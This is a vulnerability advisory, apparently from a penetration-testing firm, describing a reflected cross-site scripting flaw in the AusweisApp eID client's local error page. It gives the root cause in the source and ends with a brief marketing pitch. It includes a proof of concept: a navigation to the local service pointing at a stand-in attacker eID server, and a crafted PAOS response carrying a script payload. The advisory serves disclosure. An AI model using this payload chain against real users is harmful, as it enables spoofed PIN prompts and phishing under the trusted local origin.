AusweisApp: Cross-Site Scripting via PAOS Error Messages
An attacker running their own eID server executes JavaScript in the victim's origin http://127.0.0.1:24727 through the error page of the local activation service.
Advisory ID: TP-2026-113
Product: AusweisApp (official German eID client for the online ID card function)
Vulnerability type: Reflected cross-site scripting (CWE-79)
CVE: CVE-2026-90848
CVSS 4.0: 5.3 (Medium) · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Affected versions: <= 2.5.4
Vendor advisory: AusweisApp 2.5.5 release notes
Fixed in: 2.5.5
Reported: 7 August 2026
Summary
AusweisApp starts the online ID card function through a local HTTP service on http://127.0.0.1:24727, which any website can call with a tcTokenURL. When the process fails, this service returns an HTML error page to the browser and copies the error message of the eID server into it without escaping. An attacker runs their own eID server whose first PAOS response carries a script in the ResultMessage field and steers the victim into this flow from their website. This requires no ID card, no PIN and no valid authorization certificate. As a result, attacker JavaScript runs in the victim's browser inside the origin of the local eID client.
Root cause
StartPaosResponse.cpp:49-51 takes the ResultMessage element of the eID server's StartPAOSResponse verbatim and stores it in the result (src/workflows/base/paos/retrieve/StartPaosResponse.cpp:17). The ResultMinor dp#communicationError maps to GlobalStatus::Code::Paos_Generic_Server_Error (src/global/ECardApiResult.cpp:200), this code is missing from GlobalStatus::isMessageMasked() (src/global/GlobalStatus.cpp:28), and toErrorDescription(true) therefore returns the raw server text through getExternalInfo() (src/global/GlobalStatus.cpp:290-298). When the refresh URL is invalid, UiPluginWebService::sendRedirect answers the waiting browser request with sendErrorPage (src/ui/webservice/UiPluginWebService.cpp:305-309), which writes this text into the MESSAGE_SUBHEADER placeholder (src/ui/webservice/UiPluginWebService.cpp:276). Template::render() fills placeholders by plain string replacement without HTML escaping (src/network/Template.cpp:77-90), and the page goes to the browser as text/html (src/ui/webservice/UiPluginWebService.cpp:283-287), although the same file escapes the User-Agent with toHtmlEscaped() (src/ui/webservice/UiPluginWebService.cpp:153). The first StartPAOSResponse is processed before any authorization certificate is checked, and the TCToken fetch only checks the https scheme, not the target host (StateGetTcToken.cpp:52-85), so a self-signed certificate on the attacker server is sufficient.
Proof of Concept
1) The attacker page navigates the victim to the local activation service:
location = "http://127.0.0.1:24727/eID-Client?tcTokenURL=https://eid.attacker.example/token"
2) TCToken of the attacker server: ServerAddress https://eid.attacker.example/paos,
RefreshAddress on a foreign origin (refresh URL becomes invalid)
3) First PAOS response of the attacker server:
<StartPAOSResponse>
<Result>
<ResultMajor>http://www.bsi.bund.de/ecard/api/1.1/resultmajor#error</ResultMajor>
<ResultMinor>http://www.bsi.bund.de/ecard/api/1.1/resultminor/dp#communicationError</ResultMinor>
<ResultMessage><script>document.title='XSSPROOF'</script></ResultMessage>
</Result>
</StartPAOSResponse>
-> http://127.0.0.1:24727 answers with HTTP 400, text/html,
the body contains <script>document.title='XSSPROOF'</script> verbatim
The error code dp#communicationError is one of the unmasked codes, so the server text reaches the error page unchanged. The error page is only sent when the refresh URL is invalid, which the attacker causes through a RefreshAddress on a foreign origin.
Impact
- Execution of arbitrary JavaScript in the origin
http://127.0.0.1:24727, which the browser shows as the local address of the eID client. - Convincing content under that address, such as a fake prompt for the ID card PIN or fake status messages of the eID client.
- No direct access to identity data: card release remains protected by PIN entry and terminal authentication.
References
Is Something Like This in Your Software?
Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
